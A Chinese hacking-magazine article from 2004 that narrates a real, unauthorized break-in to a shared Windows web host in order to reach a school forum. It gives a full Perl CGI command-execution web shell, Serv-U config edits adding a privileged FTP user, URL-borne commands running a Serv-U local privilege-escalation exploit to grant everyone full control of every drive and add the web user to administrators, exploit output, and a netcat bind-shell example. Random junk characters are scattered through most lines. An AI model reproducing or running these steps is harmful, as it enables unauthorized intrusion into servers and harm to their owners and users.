剑走偏锋——灵巧的旁注攻击
8 }7 f* L" T, p2 i* `. s. q0 f本文作者:angel
7 j$ P! \+ a5 T. _9 p& I2 p* |文章性质:原创8 ]( G. ]7 W3 [6 Z! G
发布日期:2004-11-09 0 A1 l4 P/ d3 C& d+ R3 o. }% Y) \
注意:2 z; r+ p5 }2 f. t
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
& M5 `+ m: r3 b7 r# a本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
! V) U, Q5 Q5 w1 B# r
' R9 M6 K; m/ ~% L 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
; M9 W( m4 e& a1 g1 Z5 C4 x" p% D# h" {9 G! ]3 T+ Z1 z6 p
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 # \/ E! G9 f1 s, ~4 s9 ~& M
3 @, t+ L9 q. R5 M) ]1 F 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
! n: o4 ?8 }+ w9 q# G8 S. ]. C# E3 F1 L, A$ ]7 C' ^- E/ ~0 E
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
! N: y( A$ b1 G2 r. p, X' ?9 m% I& a$ j" T5 ~$ ^* ^8 @. k
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
- n1 E, d, c, N! M9 H
?. V _6 E* B0 E- K) L1 {2 k 没有目的的跳转目录着……
& f% W- B" u, Y2 y( c# p
( J+ K- Q5 ]/ M& u. d3 J 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… * a( |: H1 S( A0 Z3 o
( L/ o6 O' t8 M* y2 u2 ~" b 结束了吗?不,我试着 FTP 一下:
3 f' `1 ]3 v) ~5 i$ b8 O. X0 L+ |5 m7 Z! h1 {9 H4 O4 P7 Z
Microsoft Windows 2000 [Version 5.00.2195]# p2 q- u- ~% L0 q" \) ]
(C) 版权所有 1985-2000 Microsoft Corp.
8 r5 y- j, R6 r# _8 J6 V% Z/ g+ J7 E
) o% i3 Y& z7 ? T9 F1 Q- FC:\Documents and Settings\Administrator>ftp www.school.com& l6 ?* r- X2 w- |( j! Y' U/ o
Connected to www. school.com.
2 X/ `8 K( a3 v& t+ k# l! g220 Welcome to FTP Server... - b, O) H( m0 O6 j, m" Y: s
User (www.bjtrq.com:(none)):
6 g5 P1 e: j; P+ }/ W" Y331 User name okay, need password. 0 n" X- W* S# E# h( a
Password: * q% e2 S9 ~- u
530 Not logged in.
- p) ]. m3 J& _% D- T: y3 V. m3 GLogin failed.
) _* o+ n- s: L' v# \% T0 z2 aftp> bye - Q% b8 L# i. i9 Y7 |& b! K2 n- i6 ^
221 Goodbye! 6 Y* Z5 b" G2 b2 w' I
# d- |- n! r0 l( Z/ @* b3 o+ t' f
\& E" e& H( I" G% R 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
) I1 f! M9 X9 d9 H% j; k
! V# O* b/ E A8 z2 M# _9 ~ 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
$ _+ O6 R6 C) f! M5 n, t9 f
, V3 b9 U7 E( Q$ [Application Data3 f* c9 z- G6 k0 s
Documents
1 L: m- u7 |/ n! q( M! m- Y1 VDRM; T) `- ]8 l* N; I8 l- U: d
Favorites
1 I |4 v9 B( i9 G6 F" r z+ x6 Z/ v( FTemplates7 v: _2 q1 a# R
「开始」菜单. N8 d3 ]/ [% m! K- H4 j/ i. K6 P- u
桌面) N1 m( n% ^3 w+ b# V( i* P! I
( I0 a* f+ F8 C9 M) N
! |2 x8 V* `* z# k6 w
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 7 ]7 H7 i% o3 P Z6 h
# g0 w5 s0 ]6 r# s+ u% DActiveState ActivePerl 5.81 \4 d2 @, J; Q, }' \
Administrative Tools
0 a+ z: [& @& A( QDeerfield.com
+ N) {# R8 p# } r( b* k5 z! \2 aDTemp
' u6 c' e9 g- A( h% P; |IPSentry
: I, J1 Z# W9 W) T! {MBM 5
& g ~# S$ N& p) h1 uNetMeter& _& j1 ?, h( d
Network ICE
( @4 m. W) ?0 C* S( X {Persits Software AspEmail: a* R9 E0 x# B0 ~; p6 k0 {
Persits Software AspJpeg
# j! A# [, @: E% h' bServ-U FTP Server# e4 N9 v' w; |: o4 A4 x8 w/ n
Symantec Client Security% d8 }0 N; g# E8 i% o
Windows 优化大师8 \& ]3 r% [' U8 x# ?. p
WinRAR
; r- y6 ]3 d6 W$ [+ M启动" D- X& i" I. E- I- N6 A5 T
管理工具
: Z4 I8 E$ F' D1 g! c2 n, x附件( Q7 K k2 W& }" `
E4 x6 h* I# @1 K; \8 N
" @& q. [7 G+ k" w 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
8 W7 a8 M/ ?5 T( W7 v3 {( y. X. n$ B- e8 `+ I# p
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: & }9 i. M* j3 Q1 f* U
* `' W B. a0 P8 B* Q# A: C( b, }User281=angel|1|0 ) Z( x! \" j r, }/ F h
4 m R, z3 z- u6 G3 N, h
( ` h/ b6 w. ]' D3 ^$ U H 然后加上
e% b* b4 R6 K/ R* {
! p/ T2 ?+ u! Y& L[USER=angel|1]
# J; K. i& `; s+ y' Q1 j oPassword=ng98F85379EA68DBF97BAADCA99B69B8050 E9 G# Z) E* Y( o2 C; P
HomeDir=D:\websites& o8 x8 F4 M! l- f7 ]0 _3 z
RelPaths=1
- V0 c6 r* v+ z; cTimeOut=600
9 V0 |6 R$ s2 }# Z: GMaintenance=System
; A' i- [: x D( f- @Access1=D:\websites|RWAMELCDP
: U4 L0 q. K) b: ^SKEYValues=7 Q* u8 A: R- s/ H6 ~
( o9 K& M! ~ B; p
% r* X9 b/ |. b" `( Z4 S. ?5 ^
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 4 U f" i2 j7 v# [, ?, l8 Z. J
% T1 w# v9 @& [7 z4 m) s
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
3 M6 _, E2 C2 r w6 I- z6 H4 s% o9 [% c! j& T$ L( I6 ~: s
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 q# R. {9 s7 {- B* r: _& v' {
0 t7 a$ o6 N" ~$ L/ u! x$ u4 L
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
& `* q1 k0 P! ]" p0 G- z+ `$ L+ @0 B
#!/usr/bin/perl1 C( E! l7 `% j
binmode(STDOUT);2 W% j. R8 }" v. L( ~/ q" T6 E8 F
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);# R$ O' _! i8 X1 _! o0 W
$_ = $ENV{QUERY_STRING};
% K* P; @, p' Q* ls/%20/ /ig;9 L+ n3 s7 N# Y5 L# w0 p$ x9 X
s/%2f/\//ig;
% G7 |' Y' G, o$execthis = $_;
% i3 P0 L+ `2 g+ h0 d9 ]8 Y. }' S4 y. msyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
: w, t, r, y9 I& Z. P$ Popen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";, P& C1 Z2 }0 u* Z" k$ x
system($execthis);
$ \4 h* k3 w5 X, i Zsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
* b+ A' P K6 H9 ^: xclose(STDERR);
1 m2 M* Z- A8 m U6 {; G% }, Zclose(STDOUT);
6 m- I; Y, E# p( o2 J% {exit;( [. i( g9 {! \2 v; h* d
: w- N1 t+ ^1 o) N
# i! T _$ p7 p3 R6 v 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ' E% e7 l& n! }8 J" j5 l
) r" m% R7 F2 A Y( S. U9 c! c6 n 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: . D2 T) v% X. e; w3 A
4 \: L4 ?9 }2 u& e- E1 O, Jhttp://anyhost//cmd.pl?d:\user\bin\su.exe - W8 A: }4 y8 w- g
4 T5 {" S; g5 | T, r
2 ]6 Y6 Q8 A6 T$ `
返回: + T, n$ L% @0 |* ]$ ^
" C9 C9 V. Y9 _. O! V2 h, R4 ?
Serv-u >3.x Local Exploit by xiaolu
# R* G9 y$ `1 X; v7 M- ]+ m1 q) A) t# Q3 w; l8 }7 ]: y& g. `
USAGE: serv-u.exe "command"
# X; m1 l$ j7 E( ]5 i6 i) E' G0 x0 w* ]& _3 ~/ q, Z0 X. H. ^
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
! C) G" J, Z6 c, ^8 f; U6 s. n, E
q7 `8 b2 T7 D+ K, J* G7 C. Y
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
' x( s& n6 X& @: L7 y3 }- o, u% I+ G, q! d
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" * @( |3 N: _% |
" a3 l! O1 A2 j, N5 y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
, {: A1 E3 Z7 K; _0 x5 Q+ {* A3 G7 t/ H$ s7 i% O$ ~
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
( p |4 T( O$ i4 f( A6 l" X- V# k
( `5 K7 D; d; u' E2 r: y6 Hhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" * }0 ?$ \3 y% A- E6 v
M1 Z0 D5 P8 x6 [7 M* \; R
, V# o) q V Q8 j5 W/ {
返回下面的信息,就表示成功了!!! ( G& X0 _& O' q, a: |" x! p0 P
8 v3 M* ~6 H9 h1 D2 x2 z2 E* OServ-u >3.x Local Exploit by xiaolu * V- [; C' W5 N: J. T$ u
. N( ~* T3 ~$ n# g
<220 Serv-U FTP Server v5.2 for WinSock ready... 8 X |% r( Y5 v/ U- t# S/ b
9 J: w! G0 l6 Z>USER LocalAdministrator / y. Z: G: J+ g. {. K1 \! @1 T
) j2 C5 m2 H) L9 G
<331 User name okay, need password. O" a! o$ P1 H" @5 s
: R7 L& | h& ?' J9 W. k' Q; C6 P9 q9 Q****************************************************** 7 }- g/ j3 u6 x
7 |6 [( V) v3 [! l+ U t
>PASS #l@$ak#.lk;0@P $ d+ r/ H5 f& J, j/ S( V* w- E
7 P/ B$ q; H8 T<230 User logged in, proceed. 8 j/ G4 B; h$ P. i
& H- i! p. H8 q- `# h. `1 y
****************************************************** : a% I/ ?( n: B$ K6 G6 W
( d I; x# v: o2 i/ s3 J$ U
>SITE MAINTENANCE # h7 U: x; E% ~$ J
7 z% j2 }4 Z/ `; c. c
******************************************************
) {# W% M/ O2 w* ^. h, X
8 L+ ~) f4 H; i4 F' {[+] Creating New Domain...
+ A8 R* Q7 f. p8 `1 x8 Q" D* Q9 J; }/ @9 k& `3 {/ g- D8 _( C# t
<200-DomainID=2
' S* d# j/ }& g6 R9 t+ D4 s
( d" n1 @! s& T) s3 |- ]<220 Domain settings saved # A: h' Y8 {; b1 Q! z2 p' o
8 `0 Y( n" {0 n0 G' D$ |( {
****************************************************** t. p5 T5 L, w
. {! Q' B; D+ p# ^
[+] Domain xl:2 Created
$ G( k7 B: ?6 P: D$ U, C" Q7 Z6 h5 z# ^% A
[+] Creating Evil User
" _$ i& y6 _" r! V! B( Q$ W5 J- ]+ q# q, L
<200-User=xl 1 L& s5 x Y+ @
5 P& O9 C& s6 z7 [' Z$ Y200 User settings saved
7 j8 w( F3 x! `: G
' d2 b& r2 ~* X: Z******************************************************
% `4 W6 i, S% b; L
3 ^# [- |4 U8 x& s$ g4 Y# |$ j[+] Now Exploiting...
( c# A8 L5 Z4 r$ U K( u. J7 v$ M
>USER xl E1 F" i! A {; e' Y4 x" f- i: o
% i X' A& O J6 y& K) Z9 ~6 t
<331 User name okay, need password. 7 E' x/ d# y" ^/ E
- K1 e" b& s* D3 U7 w) V& P4 J
******************************************************
4 h6 j! t) _4 A# y0 j1 V$ I
+ w; h+ {$ a3 a4 a. [ `' Y# \>PASS 111111
! M u/ q" u1 t7 [9 i; c" A
/ J7 L1 O2 J$ [+ }+ \( B<230 User logged in, proceed.
) v7 i* `" _; P5 @. m3 e% d: G, l3 O* a# ^# {) T2 T" e
****************************************************** * R7 M+ j, b. R
7 w. D. c* Y( t: S; H$ u
[+] Now Executing: cacls.exe c: /E /T /G everyone:F - I' b: k9 E( i- ?) i, u
1 ^# M+ z0 L! e$ ?
<220 Domain deleted
, B+ e. A( M" C1 L }. `2 B% P3 p
0 S6 t, A! l. C2 {$ v+ E******************************************************
8 b; y, k {! k- W) v/ Z
3 d4 L8 f D: s8 R! c: b$ \- m( V$ P* W7 N$ W& f( `) O) {7 O
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
. h5 j7 X: j( ]4 e* L* V7 R: k7 E
; \& _3 P2 |" h2 ~4 P2 Zhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
9 U' g# n$ C' O* j
5 @* _# E* C1 n: f; d, m' ^( u% f: y% M7 F' Q# C
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 5 L5 b* u b+ P3 n- @7 o0 K
$ E, _5 \6 y- a d" Y s# M 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
. t( D) @+ v7 r% a5 H0 D) S 2 i6 f! P+ m: T( z
9 |% B" O8 d$ L: o) Q
|